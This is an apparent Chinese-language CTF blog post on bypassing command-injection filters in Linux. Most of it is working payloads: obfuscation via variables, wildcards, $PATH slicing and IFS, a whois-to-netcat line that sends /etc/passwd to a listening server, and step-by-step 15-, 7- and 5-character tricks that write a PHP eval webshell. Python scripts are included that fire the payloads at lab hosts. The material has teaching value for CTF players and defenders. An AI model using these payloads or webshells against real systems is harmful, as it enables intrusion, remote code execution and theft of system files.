命令执行绕过方法

ctf

Posted by mr_king on September 30, 2020

命令执行绕过方法

[TOC]

Linux

1.1 linux下的符号和逻辑运算符

a=who
b=ami
$a$b

0tPDVe.png

Linux下需要用$引用变量

那么我们又可以怎么组合呢,接着来看

Linux下用分号(;)表示命令结束后执行后面的命令,无论前面的命令是否成功

ping www. ; whoami
echo tj ; whoami

0ti3sf.png

符号 在Linux中,可以连接命令,第一条命令的结果,作为第二条命令的输入
符号   在Linux中,如果   左边的命令(命令1)未执行成功,那么就执行   右边的命令(命令2)

符号&&在Linux中,如果左边的命令(命令1)返回真(成功被执行)后,&&右边的命令(命令2)才能够被执行

符号&在linux中,多个命令同时执行,不管前面命令执行成功没有,后面的命令继续执行

根据以上几点结合一个:

t=l; j=s; i=" -al"; $t$j$i

0tkS3R.png

1.2 利用未被过滤的命令

自己服务器中nc -lvvp 端口
payload发送给对方whois -h ip -p 端口 `命令` //``为反引号
//下图以自身服务器的1234端口作演示,实际情况根据个人更改

0tkN2n.png

0tkt8s.png

使用whois来执行命令和传输文件

在实际的攻击场景中,可以在自己的攻击服务器上用nc监听一个公网端口,然后在存在命令执行漏洞的网站中发送payload请求, 对它使用whois命令使其命令执行结果返回给nc监听的端口,从而在自己服务器中查看

传输机:
root@john:~# whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64`
接受机:
root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d

1.3 linux进阶,符号之间的组合

Linux下,双引号幂运算符号都不会影响命令的执行

whoami
wh$1oami
wh$@oami
who""""ami
whoa$*mi

c$1at /f$1lag

在linux中?扮演的角色是匹配任意一个字符,用?来绕过限制

which whoami //找到whoami路径
# whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz

/u?r/?in/wh?am?

which ifconfig //找到ifconfig
# /sbin/ifconfig
/sbin/if?onfig

0UJXIe.png

同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符

whoami

/*/bin/wh*mi
/us*/*in/who*mi

0aesyQ.png

1.4 linux深入,命令中的命令

666`whoami`666
//命令执行后的结果在2个666中间

0ae5SU.png

再次组合起来

who`echo a`mi#返回结果拼接为字符串,再次执行
w`saldkj2190`ho`12wsa2`am`foj11`i
wh$(70shuai)oa$(fengfeng)mi

0anvse.png

1.5 利用linux中的环境变量

linux是可以使用环境变量里的字符执行变量

首先echo $PATH

echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

Linux下严格区分大小写,不可以写成$path

echo ${PATH:number_start:length}
/:0  u:1  s:2  r:3  /:4  l:5  o:6  c:7  a:8  l:9  /:10  s:11  b:12  i:13  n:14  ::15  /:16  u:17  s:18  r:19  /:20  l:21  o:22  c:23  a:24  l:25  /:26  b:27  i:28  n:29  ::30  /:31  u:32  s:33  r:34  /:35  s:36  b:37  i:38  n:39  ::40  /:41  u:42  s:43  r:44  /:45  b:46  i:47  n:48  ::49  /:50  s:51  b:52  i:53  n:54  ::55  /:56  b:57  i:58  n:59  ::60  /:61  u:62  s:63  r:64  /:65  g:66  a:67  m:68  e:69  s:70  ::71  /:72  u:73  s:74  r:75  /:76  l:77  o:78  c:79  a:80  l:81  /:82  g:83  a:84  m:85  e:86  s:87
#每个主机的环境变量不一样,这是我云主机的变量每位

如果我现在要查看/root/目录下的1.txt文件,就可以这样操作操作

cat ${PATH:0:1}${PATH:44:1}${PATH:22:1}${PATH:22:1}t${PATH:0:1}1.txt

0aGAbT.png

1.6 使用大括号绕过空格过滤

在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格

{ls,-alt}

0aR39A.png

再比如cat /etc/passwd命令中间的空格

1.7 了解重定向符号在绕过中的作用

我们还可以使用<>来绕过空格。请仔细看执行后的效果。linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,而>大于号是输出重定向,比如一条命令,默认是将结果输出到屏幕。但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里

ls<>a

0a4IIO.png

1.8linux中特殊的base64编码

我们还可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码。

echo whoami|base64 //先输出whoami的base64编码
`echo dwhvYW1pCg==|base64 -d` //将其base64解码

0aIdEV.png

例子

我们可以根据base64进行一次发散思维。如果某处存在命令执行但是限制了长度,我们可以利用这种方式来写一个密码为123的webshell一句话木马。

echo "<?php @eval($_POST[123]);?>" | base64
//输出一句话的base64编码
PD9waHAgQGV2YWwoWzEyM10pOz8+Cg==
echo -n PD>a;
echo -n 9w>b;
echo -n aH>c;
echo -n Ag>d;
echo -n QG>e;
echo -n V2>f;
echo -n YW>g;
echo -n wo>h;
echo -n JF>i;
echo -n 9Q>j;
echo -n T1>k;
echo -n NU>l;
echo -n Wz>m;
echo -n Ey>n;
echo -n M1>o;
echo -n 0p>p;
echo -n Oz>q;
echo -n 8+>r;

0aq04x.png

然后组合base64解码并生成php文件

cat a b>s;
cat s c>b;
cat b d>s;
cat s e>a;
cat a f>s;
cat s g>a;
cat a h>s;
cat s i>a;
cat a j>s;
cat s k>a;
cat a l>s;
cat s m>a;
cat a n>s;
cat s o>a;
cat a p>s;
cat s q>a;
cat a r>s;

0aqbrQ.png

base64 -d s>z;
cp z shell.php;

0aLZPx.png

CTF题解方法总结

0x00:一些绕过姿势

在遇到的一些web题中,会经常将以下几种给过滤或者进行限制:

  1. 空格
  2. 命令分隔符
  3. 关键字
  4. 限制长度

空格绕过

常见的绕过符号有:
$IFS$9${IFS} 、%09(php环境下)、 重定向符<>、<、
#$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,
加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用

命令分隔

%0a  --换行符,需要php环境
%0d  --回车符,需要php环境
;  --在 shell 中,是”连续指令”
&  --不管第一条命令成功与否,都会执行第二条命令
&&  --第一条命令成功,第二条才会执行
|  --第一条命令的结果,作为第二条命令的输入
||  --第一条命令失败,第二条才会执行

Linux中查看文件内容的命令

#linux中查看文件内容的命令
cat、tac、more、less、head、tail、nl、sort、uniq

cat     由第一行开始显示内容,并将所有内容输出
tac     从最后一行倒序显示内容,并将所有内容输出
more    根据窗口大小,一页一页的显示文件内容
less    和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head    只显示头几行
tail    只显示最后几行
nl     类似于cat -n,显示时输出行号
sort   默认是用每行开头的第一个字符来进行排序的
uniq   可检查文本文件中重复出现的行列

取反

<?php
$a = "phpinfo";
echo urlencode(~$a);
?>
#%8F%97%8F%96%91%99%90
(~%8F%97%8F%96%91%99%90)();

题目解析

1.字符串限制长度为15getshell
 <?php
highlight_file(__FILE__);
if(strlen($_GET['code']<15)){
    echo strlen($_GET['code']);
    echo '<br>';
    echo shell_exec($_GET['code']);

}
else{
    exit('too long,try another way');
}
  • 方法1

    wget 地址/a 使用wget下载文件
    mv a a.php 将a改名为a.php
    
  • 方法2

    echo \<?php >1 #len=14
    echo eval\(>>1 #len=9
    echo \$_GET>>1 #len=14
    echo \[\'a\'>>1 #len=13
    echo \]\)\;>>1 #len=14
    mv 1 2.php #写马
    

0DRCRg.png

0D2OsA.png

2.7个字符getshell

ls>a会将所有文件名输入到a里面,并且将ls按数字1~9,字母a~b排序, 但我们可以让它基于时间排序ls -t(从晚到早)

并且如果命令太长可用\分割执行,接着sh a是将a里面的内容当做命令执行

0rGiaq.png

0rGQd1.png

由于我们的语句<?php eval($_GET[1]);有特殊字符,可使用base64编码来使语句容易写入,再用|base64 -d解码即可。 base64为:

PD9waHAgZXZhbCgkX0dFVFsxXSk7
# 执行的语句为
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload.txt的代码如下

#因为 ls -t为从晚到早排序,所以我们需要反着来写入shell,最后执行shell 生成1.php getshell
# \\将 \转义 写入文件名,单斜杠\代表此行输入还未结束,和下一行拼接
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

0r3yAP.png

0rYeb9.png

#脚本如下
import requests

url1 = "http://192.168.153.131/7.php?1="
with open("payload.txt","r") as f:
	for i in f:
		url = url1+i.strip()
		requests.get(url)

res = requests.get("http://192.168.153.131/1.php")
if res.status_code:
	print 'success!!!'
5字符串getshell
 <?php
    $sandbox = '/var/www/html/sandbox/';
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__); 

1)通过>来创建文件

2)通过ls的-t(从晚到早)参数来基于时间来排序文件

3)sh a 会把文件a里面的内容当作命令来执行

4)使用\来进行命令拼接

5)通过base64来避免特殊字符

6)输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

7)增加字母来限定被用来当作命令和参数的文件名

8)联合知识点⑦,通过rev来倒置输出内容

>rev
echo 1234 > v
*v    (等同于命令:rev v)

9)通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置

我们之后需要用到rev 倒置输出,所以需要列出这样形式的文件名

0>  t-  sl

####
>0\>
>t-
>sl

0rsABV.png

10)用dir来代替ls不换行输出

先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点⑥的命令执行

0rs3B6.png

看下dir的效果,会不换行输出到文件中去

0rsR3j.png

11)使用${IFS}来代替空格

正式开始

首先我把下面这段代码写入到主机的0文件中去,然后后期再传入攻击payload时。通过sh执行0文件即可生成f文件,然后再让sh 去执行f文件的代码内容即可得到一句话木马

ls  -th  >f

所以payload如下

>dir
>f\>
>ht-
>sl
*>v    (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0   (等同于命令:rev v > 0)(0里面的内容为:ls -th >f)

接下来我们需要把 这段代码上传到主机,其中的内容为(<?php eval($_GET[1]);)base64编码后的内容

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

这里我们看到其中出现了2个空格,这里我们需要把其中一个空格用${IFS}替换

否则新的空格文件会替换旧的空格文件导致,攻击payload失效,所以变成下面这样的

echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

那么我们只需要将上面的代码拆分倒序输入到主机即可

>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\

然后我们需要让sh先执行0文件(ls -th >f)就会得到f文件

最后再让sh去执行f文件即可得到1.php

最终payload如下

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f

python脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
 
import requests
 
url = "http://192.168.214.190/len_5.php?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
	for i in f:
		print("[*]" + url.format(i.strip()))
		requests.get(url.format(i.strip()))
 
#检查是否攻击成功
test = requests.get("http://192.168.214.190/sandbox/1.php")
if test.status_code == requests.codes.ok:
	print("[*]Attack success!!!")

06VSiQ.png

06VkLV.png

06EkUe.png